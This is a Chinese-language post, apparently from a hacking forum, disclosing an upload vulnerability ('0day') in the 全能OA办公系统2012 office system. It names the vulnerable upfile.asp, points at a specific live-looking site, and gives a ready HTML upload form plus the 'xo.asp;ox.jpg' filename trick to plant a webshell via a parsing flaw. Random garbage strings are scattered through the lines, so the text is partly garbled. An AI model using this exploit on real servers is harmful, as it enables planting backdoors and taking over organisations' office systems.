全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
0 [- @2 N% v2 Q. p: z1 B/ s​
系统介绍：

& _* s4 G$ x9 F4 l# x全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
# |. R3 c  a" e% z# ]1 Q
! C) Y, r* w+ Z% z& p主要功能：
公司通告
工作计划
2 r  u/ G; S( J3 O' t; |通讯助理
7 d. M0 Q* j5 ~0 j* m8 b客户资源
我的公文
; W5 V+ A' x; q公文传阅
公共资源
! ^8 W5 X2 F/ _资源预约
' Q9 d, D( G9 D9 M3 b今日考勤
6 i5 V$ V4 r; B& j, B2 L- i个人计划
个人通讯录
& v; @& M# @  B. W# y9 \个人基本档案
4 r8 ?2 \- E8 `4 ^未读邮件
发邮件
# R! |2 ?- O' w6 x& k7 F  W收件夹
寄件夹
8 @/ a) E" c& w7 W$ p! `网络硬盘
网络会议
5 i0 x1 K5 @- [7 ?3 ~8 P3 U& W网络调查
/ x9 y+ U3 V% Z$ ^, G' u4 R交流论坛
' z8 m. s7 k2 G4 S: H3 \
# b5 v9 k( z) C$ O; F% k! |$ v! ~有兴趣测试的朋友可以下源码看看
2 ^6 r  B" S" H
源码下载：

http://www.mycodes.net/30/4750.htm
: s. P5 Z8 ], b& `% C5 Q2 n; l8 q
漏洞介绍：

  V  o* `3 Q, H4 C由upfile.asp上传文件漏洞引起
! V5 w7 h0 h$ N( s: N
% y, \  S- |/ U( v8 T9 W+ A1 }测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可
. m4 o) A+ o( M3 h7 E
2 n  a5 s. W8 s, v# t7 A如果upfile.asp文件被删除不存在。
8 P; w8 z9 b! _! a+ f; @% r( m, I- H/ r
2 @5 o9 N) N9 E8 z1 ]+ y$ \( d  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
# @+ c: ~5 B7 F6 a* b- T" G4 ?
' e4 f0 X$ s- P3 X如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。



1 d& G' x. L$ ?6 P01 <table border='0' align="center" cellpadding="5">
+ N) @9 c4 p3 g5 F' @4 ?% z+ Z
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
0 i6 t- g! ]! A0 m- R
03 <tr>
6 X! X* |, k: t8 I
04             <td>报错：</td>
7 e7 s1 {  Y1 I- ^. p4 a
05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式

09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>
4 c" C6 |  k& i! o
11           </tr>

) F6 b/ g5 V( H: k) \4 P12           <tr>
$ z1 `) b  {' ]$ ^+ s
13             <td>主题：</td>
. G1 V; u" C9 G) i/ \: x5 M' X
14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

16           <tr>
9 K$ S$ f, d( X/ T4 X
17             <td>文件：</td>
- r- K+ ^1 [: i% B/ ]- e  \+ k
18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>

" q, z  k% _; C. @8 T4 D. j$ U20           <tr>
1 M, S5 l2 r1 ^, c$ D4 Z; V
21             <td valign='top'>简介：</td>
% P( r- K3 c) T5 }7 X  F8 h5 s
+ s& I4 g* i! t22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
, f4 Y% {' |% n, W* _
% f) K0 W; ]7 q1 ]$ \23           </tr>
" u3 O) F4 d+ u5 s4 u2 }, M
24   

- r( s# G% ^3 p. ~25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
" u* x, f7 Q/ U/ J
26           </tr>
1 t4 [- N. J/ l0 E/ ^
27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。
% }& \, k8 P& c
$ W8 y: B* e9 d0 Q, ]1 T# g& H2 b+ u2 L

: P0 P3 K) W8 Q+ N' S上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

* F4 ]  T' C" s* F# u6 z此漏洞需要配合解析漏洞利用。
8 Q3 N! d  ]  f% w9 o3 X4 X5 d